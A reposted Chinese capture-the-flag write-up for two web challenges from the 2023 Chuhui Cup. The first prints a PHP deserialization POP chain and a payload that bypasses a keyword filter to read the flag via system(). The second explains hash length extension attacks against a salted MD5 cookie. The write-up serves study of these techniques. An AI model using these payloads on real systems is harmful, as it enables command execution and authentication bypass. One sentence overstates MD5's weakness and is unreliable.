当前位置: 首页 > news >正文

2023楚慧杯 WEB方向 部分:(

1、eaaeval

查看源码能看见账号:username169,密码:password196提交这个用户密码可以跳转到页面/dhwiaoubfeuobgeobg.php

通过dirsearch目录爆破可以得到www.zip

<?php
class Flag{public $a;public $b;public function __construct(){$this->a = 'admin';$this->b = 'admin';}public function __destruct(){if(!preg_match("/flag|system|php|cat|tac|shell|sort/i", $this->a) && !preg_match("/flag|system|php|cat|tac|shell|sort/i", $this->b)){system($this->a.' '.$this->b);}else{echo "again?";}}
}
$wzbz = $_GET['wzbz'];
unserialize($wzbz);
?>

system($this->a.' '.$this->b);这里可以命令执行,使a=nl,b=/f*绕过正则

pop链:

<?php
class Flag{public $a;public $b;public function __construct(){$this->a = 'nl';$this->b = '/f*';}
}
$f=new Flag();
echo serialize($f);
?>

得到O:4:"Flag":2:{s:1:"a";s:2:"nl";s:1:"b";s:3:"/f*";}

payload:

wzbz=O:4:"Flag":2:{s:1:"a";s:2:"nl";s:1:"b";s:3:"/f*";}

2、upload_shell

 <?php
session_start();
highlight_file(__FILE__);
include "./my.php";
echo strlen($secret);
echo"<br>";
echo(md5($secret."adminpassword"));
@$username = urldecode($_POST["username"]);
@$password = urldecode($_POST["password"]);
if (!empty($_COOKIE["source"])) {if ($username === "admin" && $password != "password") {if ($_COOKIE["source"] === md5($secret.$username.$password)) {// 在验证用户后,如果登录成功,设置会话变量来表示用户已登录$_SESSION['loggedin'] = true;$_SESSION['username'] = 'admin'; // 用户名$_SESSION['role'] = 'admin'; // 用户角色或权限echo "<script>window.location.href='upload.php';</script>";}else {echo "<br>"; die ("你的cookie好像不太对啊");}}else {die ("可不会轻易放你进去");}
}14
879bd10c8628894d388c068a25326c21

看别人的wp得知这里使用了哈希拓展攻击

我们注意到,md5($salt+“adminroot”)=e6ccbf12de9d33ec27a5bcfb6a3293df,对于未知salt的MD5或SHA-1哈希,哈希长度拓展攻击可以被用来构造一个新的有效哈希值,从而绕过原有的认证。这是因为,MD5和SHA-1算法的哈希函数存在一个特定的性质:给定一个消息M和其哈希值H,可以很容易地计算出一个新的消息M',使得M'的哈希值为任意指定的值H'。

哈希拓展攻击(Hash Length Extension Attack)是一种针对使用哈希函数进行消息认证的协议或应用的攻击方式。

哈希函数是将任意长度的输入数据映射为固定长度的输出,具有唯一性、不可逆性和抗碰撞等特性。在正常情况下,应用程序或协议会对消息进行哈希运算,并将哈希值与消息一起传输或存储,以实现消息的完整性验证。然而,在一些哈希函数中,如MD5和SHA-1等较旧的哈希算法,存在一个安全漏洞,即哈希拓展攻击。攻击者可以通过已知的哈希值和一些补充数据(称为扩展数据),使用特定的方法生成新的哈希值,而无需知道原始数据的内容。

具体来说,攻击者可以利用已知的哈希值H,通过在原始消息M的末尾添加扩展数据E,并对新的消息(M||E)进行哈希运算,得到新的哈希值H'。这个新的哈希值H'可以被认为是对新消息(M||E)的完整性验证,而不需要知道原始消息M的内容。哈希拓展攻击可能导致认证绕过、身份伪造、篡改数据等安全问题。
 

http://www.lryc.cn/news/263892.html

相关文章:

  • STM32 CAN多节点组网项目实操 挖坑与填坑记录2
  • Flink 数据类型 TypeInformation信息
  • 基于python的leetcode算法介绍之递归
  • 2023年度佳作:AIGC、AGI、GhatGPT、人工智能大语言模型的崛起与挑战
  • Axure的交互以及情形的介绍
  • 【MATLAB第84期】基于MATLAB的波形叠加极限学习机SW-ELM代理模型的sobol全局敏感性分析法应用
  • 米游社区表情包整合网站源码
  • easyexcel调用公共导出方法导出数据
  • C语言插入排序算法及代码
  • 2023年中国法拍房用户画像和数据分析
  • Android 清除临时文件,清空缓存
  • Guava限流神器:RateLimiter使用指南
  • 【六大排序详解】开篇 :插入排序 与 希尔排序
  • 凸优化问题求解
  • 文件操作入门指南
  • Axure之交互与情节与一些实例
  • 【数据库设计和SQL基础语法】--连接与联接--多表查询与子查询基础(二)
  • Android studio中导入opencv库
  • Linux(1)_基础知识
  • 网络相关面试题
  • Vue2面试题:说一下对跨域的理解?
  • Axure中如何使用交互样式交互事件交互动作情形
  • 1112. 迷宫(DFS之连通性模型)
  • 飞天使-k8s知识点1-kubernetes架构简述
  • linux中deadline调度原理与代码注释
  • jquery、vue、uni-app、小程序的页面传参方式
  • ModuleNotFoundError: No module named ‘openai.error‘
  • 理解pom.xml中的parent标签
  • element ui el-avatar 源码解析零基础逐行解析
  • Linux下c语言实现动态库的动态调用